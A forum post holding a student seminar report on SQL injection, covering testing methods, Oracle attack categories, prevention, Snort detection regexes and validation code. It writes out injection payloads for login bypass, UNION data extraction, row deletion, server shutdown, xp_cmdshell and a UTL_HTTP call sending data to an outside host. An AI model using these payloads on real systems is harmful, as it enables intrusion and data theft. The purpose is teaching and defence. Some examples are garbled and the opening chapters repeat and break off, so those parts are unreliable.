01-05-2010, 11:26 PM
[attachment=3454]
CHAPTER 1
INTRODUCTION
There was an era when children grew up reading comic strips but now comic strips have got some action and has evolved as the animated cartoon films.
Similarly, Web sites initially started just to show some static information to the user on plain HTML pages with some graphics and colorful text. Soon the advent of technologies like CGI(Common gateway interface) made it possible to have dynamic features attached to them. Sites were able to query an online database and fulfill requests. With the growing pace of the IT, soon websites got a powerful shot gun called online transaction. Now sites not only display dynamic data but are also capable of taking the orders from the customers and process them online.
This whole drama of accessing the database had the database accessing API (Application Programming Interface) at its heart. The input given by the end user (visitor) was processed by the back end SQL engine to perform CRUD operations on the database (CRUD - Create, Read, Update, and Delete).
SQL injection is a basic attack used either to gain unauthorized access to a database or to retrieve information directly from the database. The basic principles underlying SQL injection are simple and these types of attacks are easy to execute and master. Any program or application may be vulnerable to SQL injection including stored procedures executed with a direct database connection, Oracle Forms applications, web applications, etc.
CHAPTER 2
SQL INJECTION
SQL Injection is inputting the raw transact SQL Query into an application to perform an unexpected action. Most of the time existing queries are edited to achieve the same results. Transact SQL is easily changed by the placement of a single character in a chosen spot causing the query to behave in malicious ways. The most commonly used characters
are back tick (`), double dash(--), and the semi colon (
all of which have specific meaning in SQL.
FIG.NO-1¦SYMBOLS TABLE
Numerous SQL injection vulnerabilities have been found in the standard Oracle Database packages such as DBMS_DATAPUMP, DBMS_REGISTRY, and DBMS_METADATA. Web applications are at highest risk to attack since often an attacker can exploit SQL injection vulnerabilities remotely without any database or application authentication.
Web applications using Oracle as a back-end database are more vulnerable to SQL injection attacks than most application developers think. Audits have found many web applications vulnerable to SQL injection even though well-established coding standards were in place during development of many of these applications.
Function-based SQL injection attacks are of most concern, since these attacks do not require knowledge of the application and can be easily automated. Fortunately, SQL injection attacks are easy to defend against with simple coding practices. However, every parameter passed to every dynamic SQL statement must be validated or bind variables must be used.
So what exactly can an attacker do with a usurped SQL query
The attacker can gain unauthorized access to restricted data such as usernames
/passwords / email addresses etc. With some more advanced queries and sneakier
techniques the attacker can potentially bypass the authentication and gain complete
control over the web application and potentially the web server.
This is a hacking method that allows an unauthorized attacker to access a database server. It is facilitated by a common coding blunder: the program accepts data from a client and executes SQL queries without first validating the clientâ„¢s input. The attacker is then free
to extract, modify, add, or delete content from the database. In some circumstances, he
may even penetrate past the database server and into the underlying operating system.
Hackers typically test for SQL injection vulnerabilities by sending the application input that would cause the server to generate an invalid SQL query. If the server then returns an error message to the client, the attacker will attempt to reverse-engineer portions of the
original SQL query using information gained from these error messages. The typical
administrative safeguard is simply to prohibit the display of database server error
messages. Regrettably, thatâ„¢s not sufficient. Blind SQL injection can still evade the
Databases.
CHAPTER 3
VULNERABILITIES
WHATâ„¢S VULNERABLE
An application is vulnerable to SQL injection for only one reason “ end user string input is not properly validated and is passed to a dynamic SQL statement without any such validation. The string input is usually passed directly to the SQL statement. However, the user input may be stored in the database and later passed to a dynamic SQL statement, referred to as a second-order SQL injection. Because of the stateless nature of many web applications, it is common to write data to the database or store it using some other means between web pages. This indirect type of attack is much more complex and often requires in-depth knowledge of the application.
WHATâ„¢S NOT VULNERABLE
SQL Statements using bind variables are generally protected from SQL Injection as the Oracle database will use the value of the bind variable exclusively and not interpret the contents of the variable in any way. PL/SQL and JDBC allow for bind variables. Bind variables should be extensively used for both security and performance reasons.
CHECKING FOR VULNERABILITIES
Thoroughly checking a web application for SQL injection vulnerability takes more effort than one might guess. Itâ„¢s nice when you throw a single quote into the first argument of a script and the server returns a nice blank, white screen with nothing but an ODBC error
on it, but such is not always the case.
It is very easy to overlook a perfectly vulnerable script if you donâ„¢t pay attention to
details. You should always check every parameter of every script on the server.
Developers and development teams can be awfully inconsistent. The programmer who
designed Script A might have had nothing to do with the development of Script B, so
where one might be immune to SQL injection, the other might be ripe for abuse. In fact,
the programmer who worked on Function A in Script A might have nothing to do with
Function B in Script A, so while one parameter in one script might be vulnerable, another
might not. Even if an entire web application is conceived, designed, coded and tested by
one programmer, one vulnerable parameter might be overlooked. You never can be sure.
Test everything.
Testing procedure
Replace the argument of each parameter with a single quote and an SQL keyword (such as "˜ WHERE"). Each parameter needs to be tested individually. Not only that, but when testing each parameter, leave all of the other parameters unchanged, with valid data as
their arguments. It can be tempting to simply delete everything youâ„¢re not working with
to make things look simpler, particularly with applications that have parameter lines that
go into many thousands of characters. Leaving out parameters or giving other parameters
bad arguments while youâ„¢re testing another for SQL injection can break the application in
other ways that prevent you from determining whether or not SQL injection is possible.
For instance, assume that this is a completely valid, unaltered parameter line
ContactName=Maria%20Anders&CompanyName=Alfreds%20Futterkiste
while this parameter line gives you an ODBC error
ContactName=Maria%20Anders&CompanyName=˜%20
and checking with this line might simply return an error indicating that you need to
specify a ContactName value.
CompanyName=˜
This line¦
ContactName=BadContactName&CompanyName=˜
¦might give you the same page as the request that didn™t specify ContactName at all.
Or, it might give you the siteâ„¢s default homepage. Or, perhaps when the application
couldnâ„¢t find the specified ContactName, it didnâ„¢t bother to look at CompanyName, so it
didnâ„¢t even pass the argument of that parameter into an SQL statement. Or, it might give
you something completely different. So, when testing for SQL injection, always use the
full parameter line, giving every argument except the one that you are testing a legitimate
value.
FIG NO-2¦..INPUT VALIDATION
Evaluating Results
If the server returns a database error message of some kind, injection was definitely
successful. However, the messages arenâ„¢t always obvious. Again, developers do some
strange things, so you should look in every possible place for evidence of successful
injection. First, search through the entire source of the returned page for phrases such as
ODBC, SQL Server, Syntax, etc. More details on the nature of the error can be in
hidden input, comments, etc. Check the headers. I have seen web applications on
production systems that return an error message with absolutely no information in the
body of the HTTP response, but that have the database error message in a header. Many
web applications have these kinds of features built into them for debugging and QA
purposes, and then developers forget to remove or disable them before release.
You should look not only on the immediately returned page, but also in linked pages.
During a recent penetration test, I saw a web application that returned a generic error
message page in response to an SQL injection attack. Clicking on a stop sign image next
to the error retrieved another page giving the full SQL Server error message.
Another thing to watch out for is a 302 page redirect. You may be whisked away from the
database error message page before you even get a chance to notice it.
Note that SQL injection may be successful even if the server returns an ODBC error
messages. Many times the server returns a properly formatted, seemingly generic error
message page telling you that there was an internal server error or a problem
processing your request.
FIG.NO-3¦ERROR PAGE
Some web applications are designed to return the client to the siteâ„¢s main page whenever any type of error occurs. If you receive a 500 Error page back, chances are that injection is occurring. Many sites have a default 500 Internal Server Error page that claims that the server is down for maintenance, or that politely asks the user to send an e-mail to their support staff. It can be possible to take advantage of these sites using stored procedure
techniques.
CHAPTER 4
SQL INJECTION METHODS
CATEGORIES OF SQL INJECTION
There are four main categories of SQL Injection Attacks against Oracle Database:-
1. SQL Manipulation.
2. Code Injection
3. Function Call Injection
4. Buffer Overflows
SQL manipulation typically involves modifying the SQL statement through set operations (e.g., UNION) or altering the WHERE clause to return a different result. Many documented SQL injection attacks are of this type. The most well known attack is to modify the WHERE clause of the user authentication statement so the WHERE clause always results in TRUE.
Code injection is when an attacker inserts new SQL statements or database commands into the SQL statement. The classic code injection attack is to append a SQL Server EXECUTE command to the vulnerable SQL statement. Code injection only works when multiple SQL statements per database request are supported. SQL Server and PostgreSQL have this capability and it is sometimes possible to inject multiple SQL statements with Oracle. Oracle code injection vulnerabilities involve the dynamic execution of SQL in PL/SQL.
The last two categories are more specific attacks against Oracle databases and are not well known or documented. In the vast majority of our application audits, we have found applications vulnerable to these two types of attacks.
4.1. SQL MANIPULATION
FIG NO-4¦SQL MANIPULATION
The most common type of SQL Injection attack is SQL manipulation. The attacker attempts to modify the existing SQL statement by adding elements to the WHERE clause or extending the SQL statement with set operators like UNION, INTERSECT, or MINUS. There are other possible variations, but these are the most significant examples. The classic SQL manipulation is during the login authentication. A simplistic web application may check user authentication by executing the following query and checking to see if any rows were returned “
SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword'
The attacker attempts to manipulate the SQL statement to execute as “
SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword' or 'a' = 'a '
Based on operator precedence, the WHERE clause is true for every row and the attacker has gained access to the application. The set operator UNION is frequently used in SQL injection attacks. The goal is to manipulate a SQL statement into returning rows from another table. A web form may execute the following query to return a list of available products “
SELECT product_name FROM all_products WHERE product_name like '%Chairs%'
The attacker attempts to manipulate the SQL statement to execute as “
SELECT product_name FROM all_products WHERE product_name like '%Chairs' UNION SELECT username FROM dba_users WHERE username like '%'
FIG NO-5¦DATABASE TABLE
The list returned to the web form will include all the selected products, but also all the database users.
4.2. CODE INJECTION
Code injection attacks attempt to add additional SQL statements or commands to the existing SQL statement. This type of attack is frequently used against Microsoft SQL Server applications, but seldom works with an Oracle database. The EXECUTE statement in SQL Server is a frequent target of SQL injection attacks “ there is no corresponding statement in Oracle.
In PL/SQL and Java, Oracle does not support multiple SQL statements per database request. Thus, the following common injection attack will not work against an Oracle database via a PL/SQL or Java application.This statement will result in an error “
SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword'; DELETE FROM users WHERE username = 'admin';
However, some programming languages or APIs may allow multiple SQL statements to be executed. PL/SQL and Java applications can dynamically execute anonymous PL/SQL blocks, which are vulnerable to code injection. The following is an example of a PL/SQL block executed in a web application “
BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); END;
The above example PL/SQL block executes an application stored procedure that encrypts and saves the user™s password. An attacker will attempt to manipulate the PL/SQL block to execute as “
BEGIN ENCRYPT PASSWORD('bob', 'mypassword'); DELETE FROM users WHERE upper(username) = upper('admin'); END;
4.3. FUNCTION CALL INJECTION
Function call injection is the insertion of Oracle database functions or custom functions into a vulnerable SQL statement. These function calls can be used to make operating system calls or manipulate data in the database. The Oracle database allows functions or functions in packages to be executed as part of a SQL statement. By default, Oracle supplies over 1,000 functions in about 175 standard database packages, although only a fraction of these functions may be useful in a SQL injection attack. Some of these functions do perform network communication, which can be exploited. Any custom function or function residing in a custom package can also be executed in a SQL statement.
Functions executed as part of a SQL SELECT statement cannot make any changes to the database unless the function is marked as PRAGMA TRANSACTION. Very few of the standard Oracle functions are executed as autonomous transactions. Functions executed in INSERT, UPDATE, or DELETE statements are able to modify data in the database. Using the standard Oracle functions, an attacker can send information from the database to a remote computer or execute other attacks from the database server.
Many Oracle-based applications leverage database packages, which can be exploited by an attacker. These custom packages may include functions to change passwords or perform other sensitive application transactions. The issue with function call injection is that any dynamically generated SQL statement is vulnerable “ even the simplest SQL statements can be effectively exploited. The following example demonstrates even the most simple of SQL statements can be vulnerable. Application developers will sometimes use database functions instead of native code (e.g., Java) to perform common tasks. There is no direct equivalent of the TRANSLATE database function in Java, so the programmer decided to use a SQL statement.
SELECT TRANSLATE('user input','0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual;
This SQL statement is not vulnerable to other types of injection attacks, but is easily manipulated through a function injection attack. The attacker attempts to manipulate the SQL statement to execute as “
SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual;
The changed SQL statement will request a page from a web server. The attacker could manipulate the string and URL to include other functions in order to retrieve useful information from the database server and send it to the web server in the URL. Since the Oracle database server is most likely behind a firewall, it could also be used to attack other servers on the internal network. Custom functions and functions in custom packages can also be executed. An example would be a custom application has the function ADDUSER in the custom package MYAPPADMIN. The developer marked the function as PRAGMA TRANSACTION, so it could be executed under any special circumstances that the application might encounter. Since it is marked PRAGMA TRANSACTION, it can write to the database even in a SELECT statement.
SELECT TRANSLATE('' || myappadmin.adduser('admin', 'newpass') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual;
Executing the above SQL statement, the attacker is able to create new application users.
4.4. BUFFER OVERFLOWS
A number of standard Oracle database functions are susceptible to buffer overflows, which can be exploited through a SQL injection attack in an un-patched database. Known buffer overflows exist in the standard database packages as well as in standard database functions such as TZ_OFFSET, TO_TIMESTAMP_TZ, BFILENAME, FROM_TZ, NUMTOYMINTERVAL, and NUMTODSINTERVAL.
FIG NO.6¦BUFFER OVERFLOW
A buffer overflow attack using TZ_OFFSET, TO_TIMESTAMP_TZ, BFILENAME, FROM_TZ, NUMTOYMINTERVAL, or NUMTODSINTERVAL is executed using the function injection methods described previously. By exploiting the buffer overflow via a SQL injection attack, remote access to the operating system can be achieved. Additional information is widely available on executing and preventing buffer overflow attacks.
In addition, some application and web servers do not gracefully handle the loss of a database connection due to a buffer overflow. Usually, the web process will hang until the connection to the client is terminated, thus making this potentially an effective denial of service attack.
CHAPTER 5
MALICIOUS ATTACKS
MALICIOUS ATTACKS
The user filled fields are enclosed by single quotation marks('). A simple test would be to try using (') as the username. The following error message will be displayed when a (') is entered into a form that is vulnerable to SQL injection:-
WARNING:- Input validation attacks occur here on a website.
If this error is displayed then SQL injection techniques can be tried. The attacker
can try to login without a password. Typical usernames would be 1=1 or any text within
single quotes.
One of SQL Server's most powerful commands is SHUTDOWN WITH NOWAIT, which causes it to shutdown, immediately stopping the Windows service.
Username: ' ; shutdown with nowait; --
Password: [Anything]
This can happen if the script runs the following query:
select userName from users where userName='; shutdown with nowait;-' and user_Pass=' ';
There are several extended stored procedures that can cause permanent damage to a system.
Input Validation attack
CHAPTER 6
PREVENTION TECHNIQUES
Researchers have proposed a wide range of techniques to address the problem of SQL injection. These techniques range from development best practices to fully automated frameworks for detecting and preventing SQL Injection Attacks. In this section, we review these proposed techniques and summarize the advantages and disadvantages associated with each technique. The various techniques used to prevent SQL injections are:-
1. Parameterized query.
2. Stored procedure.
3. Regular expression to discard input string.
4. Quote block function.
5. Donâ„¢t show detailed error messages to the user.
6. Have a less privileged user/role of your application in database.
6.1. Parameterized queries with Bound Parameters
Parameterized queries keep the query and data separate through the use of placeholders known as "bound" parameters.
For example in Java, this looks like this:
"select * from table where columna= and columnb="
The developer must then set values for the two placeholders. Note that using this syntax without actually using the placeholders and setting values provides no protection against SQL injection.
6.2. Parameterized Stored Procedure
The use of parameterized stored procedures is an effective mechanism to avoid most forms of SQL Injection. In combination with parameterized bound queries, it is very unlikely that SQL injection will occur within your application. However, the use of dynamic code execution features can allow SQL Injection as shown below:
create proc VulnerableDynamicSQL(@userName nvarchar(25)) as
declare @sql nvarchar(255)
set @sql = 'select * from users where UserName =
+ @userName + '
exec sp_executesql @sql
The above example still allows SQL Injection as it allows dynamic injection of arbitrary string data. This is also true of Java / PL/SQL and MySQL's stored procedure support.
6.2.1. Regular expression to discard input string.
An important point to keep in mind while choosing your regular expression(s) for detecting SQL Injection attacks is that an attacker can inject SQL into input taken from a form, as well as through the fields of a cookie. Your input validation logic should consider each and every type of input that originates from the user -- be it form fields or cookie information -- as suspect. Also if you discover too many alerts coming in from a signature that looks out for a single-quote or a semi-colon, it just might be that one or more of these characters are valid inputs in cookies created by your Web application. Therefore, you will need to evaluate each of these signatures for your particular Web application.
As mentioned earlier, a trivial regular expression to detect SQL injection attacks is to watch out for SQL specific meta-characters such as the single-quote (') or the double-dash (--). In order to detect these characters and their hex equivalents, the following regular expression may be used:
6.2.2. Regex for detection of SQL meta-characters
/(\%27)|(\')|(\-\-)|(\%23)|(#)/ix
Explanation:
We first detect either the hex equivalent of the single-quote, the single-quote itself or the presence of the double-dash. These are SQL characters for MS SQL Server and Oracle, which denote the beginning of a comment, and everything that follows is ignored. Additionally, if you're using MySQL, you need to check for presence of the '#' or its hex-equivalent. Note that we do not need to check for the hex-equivalent of the double-dash, because it is not an HTML meta-character and will not be encoded by the browser. Also, if an attacker tries to manually modify the double-dash to its hex value of %2D , the SQL Injection attack fails.
The above regular expression would be added into a new Snort rule as follows:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection - Paranoid"; flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|(\')|(\-\-)|(%23)|(#)/i"; classtype:Web-application-attack; sid:9099; rev:5
In this case, the uricontent keyword has the value ".pl", because in our test environment, the CGI scripts are written in Perl. Depending upon your particular application, this value may be either ".php", or ".asp", or ".jsp", etc. From this point onwards, we do not show the corresponding Snort rule, but instead only the regular expressions that are to be used for creating these rules. From the regular expressions you can easily create more Snort rules.
In the previous regular expression, we detect the double-dash because there may be situations where SQL injection is possible even without the single-quote . Take, for instance, an SQL query which has the where clause containing only numeric values.
Something like:
select value1, value2, num_value3 from database
where num_value3=some_user_supplied_number
In this case, the attacker may execute an additional SQL query, by supplying an input like:
3; insert values into some_other_table
Finally, pcre modifiers 'i' and 'x' are used in order to match without case sensitivity and to ignore whitespaces, respectively.
The above signature could be additionally expanded to detect the occurrence of the semi-colon as well. However, the semi-colon has a tendency to occur as part of normal HTTP traffic. In order to reduce the false positives from this, and also from any normal occurrence of the single-quote and double-dash, the above signature could be modified to first detect the occurrence of the = sign. User input will usually occur as a GET or a POST request, where the input fields will be reflected as:
username=some_user_supplied_value&password=some_user_supplied_value
Therefore, the SQL injection attempt would result in user input being preceded by a = sign or its hex equivalent.
6.2.3. Modified regex for detection of SQL meta-characters
/((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-)|(\%3B)|()/i
Explanation:
This signature first looks out for the = sign or its hex equivalent (%3D). It then allows for zero or more non-newline characters, and then it checks for the single-quote, the double-dash or the semi-colon.
A typical SQL injection attempt of course revolves around the use of the single quote to manipulate the original query so that it always results in a true value. Most of the examples that discuss this attack use the string 1'or'1'='1. However, detection of this string can be easily evaded by supplying a value such as 1'or2>1--. Thus the only part that is constant in this is the initial alphanumeric value, followed by a single-quote, and then followed by the word 'or'. The Boolean logic that comes after this may be varied to an extent where a generic pattern is either very complex or does not cover all the variants. Thus these attacks can be detected to a fair degree of accuracy by using the next regular expression, in section 2.3 below.
6.2.4. Regex for typical SQL Injection attack
/\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
Explanation:
\w* - zero or more alphanumeric or underscore characters
(\%27)|\' - the ubiquitous single-quote or its hex equivalent
(\%6F)|o|(\%4F))((\%72)|r|(\%52) - the word 'or' with various combinations of its upper and lower case hex equivalents.
The use of the 'union' SQL query is also common in SQL Injection attacks against a variety of databases. If the earlier regular expression that just detects the single-quote or other SQL meta characters results in too many false positives, you could further modify the query to specifically check for the single-quote and the keyword 'union'. This can also be further extended to other SQL keywords such as 'select', 'insert', 'update', 'delete', etc.
6.2.5. Regex for detecting SQL Injection with the UNION keyword
/((\%27)|(\'))union/ix
(\%27)|(\') - the single-quote and its hex equivalent
union - the keyword union
Similar expressions can be written for other SQL queries such as >select, insert, update, delete, drop, and so on.
If, by this stage, the attacker has discovered that the Web application is vulnerable to SQL injection, he will try to exploit it. If he realizes that the back-end database is on an MS SQL server, he will typically try to execute one of the many dangerous stored and extended stored procedures. These procedures start with the letters 'sp' or 'xp' respectively. Typically, he would try to execute the 'xp_cmdshell' extended procedure, which allows the execution of Windows shell commands through the SQL Server. The access rights with which these commands will be executed are those of the account with which SQL Server is running -- usually Local System. Alternatively, he may also try and modify the registry using procedures such as xp_regread, xp_regwrite, etc.
6.2.6. Regex for detecting SQL Injection attacks on a MS SQL Server
/exec(\s|\+)+(s|x)p\w+/ix
Explanation:
exec - the keyword required to run the stored or extended procedure
(\s|\+)+ - one or more whitespaces or their HTTP encoded equivalents
(s|x)p - the letters 'sp' or 'xp' to identify stored or extended procedures respectively
\w+ - one or more alphanumeric or underscore characters to complete the name of the procedure.
CHAPTER 7
COUNTERMEASURES
7.1 Input Validation
Input validation can be a complex subject. Typically, too little attention is paid to it in a development project, since over enthusiastic validation tends to cause parts of an
application to break, and the problem of input validation can be difficult to solve. Input
validation tends not to add to the functionality of an application, and thus it is generally
overlooked in the rush to meet imposed deadlines.
The following is a brief discussion of input validation, with sample code. This sample
code is (of course) not intended to be directly used in applications, but it does illustrate
the differing strategies quite well. The different approaches to data validation can be categorised as follows:
1) Attempt to massage data so that it becomes valid
2) Reject input that is known to be bad
3) Accept only input that is known to be good
Solution (1) has a number of conceptual problems; first, the developer is not necessarily aware of what constitutes 'bad' data, because new forms of 'bad data' are being discovered all the time. Second, 'massaging' the data can alter its length, which can result in
problems as described above. Finally, there is the problem of second-order effects
involving the reuse of data already in the system.
Solution (2) suffers from some of the same issues as (1); 'known bad' input changes over time, as new attack techniques develop.
Solution (3) is probably the better of the three, but can be harder to implement.
Probably the best approach from a security point of view is to combine approaches (2)
and (3) - allow only good input, and then search that input for known 'bad' data.
A good example of the necessity to combine these two approaches is the problem of
hyphenated surnames such as:-
Quentin Bassington-Bassington
We must allow hyphens in our 'good' input, but we are also aware that the character
sequence '--' has significance to SQL server.
Another problem occurs when combining the 'massaging' of data with validation of
character sequences - for example, if we apply a 'known bad' filter that detects '--', 'select'
and 'union' followed by a 'massaging' filter that removes single-quotes, the attacker could
specify input like
uni'on sel'ect @@version-'-
Since the single-quote is removed after the 'known bad' filter is applied, the attacker can simply intersperse single quotes in his known-bad strings to evade detection.
Here is some example validation code.
Approach 1 - Escape singe quotes
function escape( input )
input = replace(input, "'", "''")
escape = input
end function
Approach 2 - Reject known bad input
function validate_string( input )
known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" )
validate_string = true
for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then
validate_string = false
exit function
end if
next
end function
Approach 3 - Allow only good input
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function.
7.2 SQL Server Lockdown
The most important point here is that it *is* necessary to 'lock down' SQL server; it is not secure 'out of the box'. Here is a brief list of things to do when creating a SQL Server build:
1. Determine methods of connection to the server
a. Verify that only the network libraries you're using are enabled, using the 'Network
utility'
2. Verify which accounts exist
a. Create 'low privileged' accounts for use by applications
b. Remove unnecessary accounts
c. Ensure that all accounts have strong passwords; run a password auditing script
(such as the one provided as an appendix to this paper) against the server on a
regular basis
3. Verify which objects exist
a. Many extended stored procedures can be removed safely. If this is done, consider
removing the '.dll' file containing the extended stored procedure code.
b. Remove all sample databases - the 'northwind' and 'pubs' databases, for example.
4. Verify which accounts can access which objects
a. The account that an application uses to access the database should have only the
minimum permissions necessary to access the objects that it needs to use.
5. Verify the patch level of the server
a. There are several buffer overflow and format string attacks against SQL Server
(mostly discovered by the author) as well as several other 'patched' security
issues. It is likely that more exist.
6. Verify what will be logged, and what will be done with the logs.
Replace direct SQL statements with stored procedures, prepared statements, or ADO
command Objects.
Implements Default Error Handling. This would include using a single error message for
all errors
Lock down ODBC. Disable Messaging to clients. Don't let regular SQL Statements through
Lock down User Database configuration Specify. users, roles and permissions etc.
7.3 Robust network architecture
This design will aid in the defense of any enterprise. The diagram
shows a defensible network design by utilizing a De-Militarized Zone (DMZ) to hold all Ëœpublic facingâ„¢ servers.
FIG NO-7¦ROBUST NETWORK ARCHITECTURE.
CHAPTER 8
ADVANTAGES AND DISADVANTAGES
ADVANTAGES
INPUT VALIDATION
“ Keeps track of the input to the web application.
“ It does not allow symbol to be used for the string to form a query in an web application.
SQL SERVER LOCK DOWN
“ It™s possible to create low privileged accounts.
“ Avoid access of account by other servers.
“ Removal of unnecessary accounts.
DISADVANTAGES
INPUT VALIDATION
“ It is very complicated to implement.
“ Difficult to solve complex problem caused due to input validation.
“ It™s not possible to distinguish between good and bad input.
SQL SERVER LOCKDOWN
“ Needs to verify which connection to the server.
“ Verification of each and every account is to be done.
“ Track of objects is needed to maintain which object accesses which account.
CHAPTER 9
AUTOMATED TOOLS FOR SQL INJECTION ATTACKS
SQL Injection is typically performed manually, BUT some tools are available that will help automate the process of identifying and exploiting the vulnerability.
Wpoison is a tool that will find any strings potentially SQL Injection vulnerabilities in dynamic web documents. SQL error strings are stored in a signature file, making it easier for anyone to add their own signature for a possible SQL Injection signature for a web application.
Wpoison runs on linux and is available at http://wpoison.sourceforeg.net
mieliekoek.pl is an SQL Injection insertion crawler that will test all forms on a website
for possible SQL Insertion problems. This script will take the output of a website mirroring tool as input inspecting every file and determining whether there is a form in the file. The string to be injected can easily be changed in the configuration file. To obtain a copy of the script please see 'http://packetstormsecurityUNIX/security/mieliekoek.pl' please make sure you have a perl environment installed.
Here is an example of the output of mieliekoek.pl :
$badstring='blah';
$badstring='blah' or 1=1 --';
$badstring='blah' exec master..xp_cmdshell 'nslookup a.com 192.168.1.6' - ;
SPI toolkit from SPI Dynamics contains a tool called SQL Injector that will automate SQL
Injection testing. The SPI Toolkit is available at http://spidynamics.com
CHAPTER 10
FUTURE SCOPE
The study of SQL Injection will lead in prevention of database hacking. It is helpful to develop new techniques which in future will not have any backdoors for the intruders to
attack any particular web application. These techniques will lead to development to the tools which will investigate scope of SQL Injection worm attacks. Oracle Servers would not be trapped if these SQL Injection tools and backdoors are blocked. In future we will able to reduce the vulnerabilities to the web application.
CHAPTER 11
CONCLUSION
This article is to make aware the people who are anyways related to database
maintenance say DBA, Site owner, Computer science students involving in projects
related to database and to general people who are launching their sites on internet.
Through this article one can know that what are the breaches that can be secured either
code or protection security like firewalls.
So, before launching your site or when checking your site try to check atleast the codes
what are illustrated in this article and if you find any bugs please correct it as soon as
possible and if its not your website then please inform the owner through mail or phone
that that site has bugs( be ethical) else attacking on other sites using this technique is
illegal. Do that at your own risk.
CHAPTER 12
REFERENCES
10.1. BOOKS
1.SQL Injection Defenses First Edition, by Martin Nystrom, release date March 2007.
2.Web Hacking: Attacks and defenses By Stuart McClure, Saumil Shah, Shreeraj Shah,2008.
10.2. WEB SITES
1. SQL Injection http://spidynamicspapers/SQLInjectionWhitePaper.pdf
2. Threats and Countermeasures, MSDN, Microsoft http://msdn.microsoft.com
3. Advanced SQL Injection http://nextgensspapers/advanced_sql_injection.pdf
4. Detection techniques http://securiteam/papers/detection-techniques
5. Defenses against SQL Injection http://blackhatpresentations/win-usa- 01/Litchfield/BHWin01Litchfield.doc
CHAPTER 1
INTRODUCTION
There was an era when children grew up reading comic strips but now comic strips have got some action and has evolved as the animated cartoon films.
Similarly, Web sites initially started just to show some static information to the user on plain HTML pages with some graphics and colorful text. Soon the advent of technologies like CGI(Common gateway interface) made it possible to have dynamic features attached to them. Sites were able to query an online database and fulfill requests. With the growing pace of the IT, soon websites got a powerful shot gun called online transaction. Now sites not only display dynamic data but are also capable of taking the orders from the customers and process them online.
This whole drama of accessing the database had the database accessing API (Application Programming Interface) at its heart. The input given by the end user (visitor) was processed by the back end SQL engine to perform CRUD operations on the database (CRUD - Create, Read, Update, and Delete).
SQL injection is a basic attack used either to gain unauthorized access to a database or to retrieve information directly from the database. The basic principles underlying SQL injection are simple and these types of attacks are easy to execute and master. Any program or application may be vulnerable to SQL injection including stored procedures executed with a direct database connection, Oracle Forms applications, web applications, etc.
CHAPTER 2
SQL INJECTION
SQL Injection is inputting the raw transact SQL Query into an application to perform an unexpected action. Most of the time existing queries are edited to achieve the same results. Transact SQL is easily changed by the placement of a single character in a chosen spot causing the query to behave in malicious ways. The most commonly used characters
are back tick (`), double dash(--), and the semi colon (
all of which have specific meaning in SQL.FIG.NO-1¦SYMBOLS TABLE
Numerous SQL injection vulnerabilities have been found in the standard Oracle Database packages such as DBMS_DATAPUMP, DBMS_REGISTRY, and DBMS_METADATA. Web applications are at highest risk to attack since often an attacker can exploit SQL injection vulnerabilities remotely without any database or application authentication.
Web applications using Oracle as a back-end database are more vulnerable to SQL injection attacks than most application developers think. Audits have found many web applications vulnerable to SQL injection even though well-established coding standards were in place during development of many of these applications.
Function-based SQL injection attacks are of most concern, since these attacks do not require knowledge of the application and can be easily automated. Fortunately, SQL injection attacks are easy to defend against with simple coding practices. However, every parameter passed to every dynamic SQL statement must be validated or bind variables must be used.
So what exactly can an attacker do with a usurped SQL query
The attacker can gain unauthorized access to restricted data such as usernames
/passwords / email addresses etc. With some more advanced queries and sneakier
techniques the attacker can potentially bypass the authentication and gain complete
control over the web application and potentially the web server.
This is a hacking method that allows an unauthorized attacker to access a database server. It is facilitated by a common coding blunder: the program accepts data from a client and executes SQL queries without first validating the clientâ„¢s input. The attacker is then free
to extract, modify, add, or delete content from the database. In some circumstances, he
may even penetrate past the database server and into the underlying operating system.
Hackers typically test for SQL injection vulnerabilities by sending the application input that would cause the server to generate an invalid SQL query. If the server then returns an error message to the client, the attacker will attempt to reverse-engineer portions of the
original SQL query using information gained from these error messages. The typical
administrative safeguard is simply to prohibit the display of database server error
messages. Regrettably, thatâ„¢s not sufficient. Blind SQL injection can still evade the
Databases.
CHAPTER 3
VULNERABILITIES
WHATâ„¢S VULNERABLE
An application is vulnerable to SQL injection for only one reason “ end user string input is not properly validated and is passed to a dynamic SQL statement without any such validation. The string input is usually passed directly to the SQL statement. However, the user input may be stored in the database and later passed to a dynamic SQL statement, referred to as a second-order SQL injection. Because of the stateless nature of many web applications, it is common to write data to the database or store it using some other means between web pages. This indirect type of attack is much more complex and often requires in-depth knowledge of the application.
WHATâ„¢S NOT VULNERABLE
SQL Statements using bind variables are generally protected from SQL Injection as the Oracle database will use the value of the bind variable exclusively and not interpret the contents of the variable in any way. PL/SQL and JDBC allow for bind variables. Bind variables should be extensively used for both security and performance reasons.
CHECKING FOR VULNERABILITIES
Thoroughly checking a web application for SQL injection vulnerability takes more effort than one might guess. Itâ„¢s nice when you throw a single quote into the first argument of a script and the server returns a nice blank, white screen with nothing but an ODBC error
on it, but such is not always the case.
It is very easy to overlook a perfectly vulnerable script if you donâ„¢t pay attention to
details. You should always check every parameter of every script on the server.
Developers and development teams can be awfully inconsistent. The programmer who
designed Script A might have had nothing to do with the development of Script B, so
where one might be immune to SQL injection, the other might be ripe for abuse. In fact,
the programmer who worked on Function A in Script A might have nothing to do with
Function B in Script A, so while one parameter in one script might be vulnerable, another
might not. Even if an entire web application is conceived, designed, coded and tested by
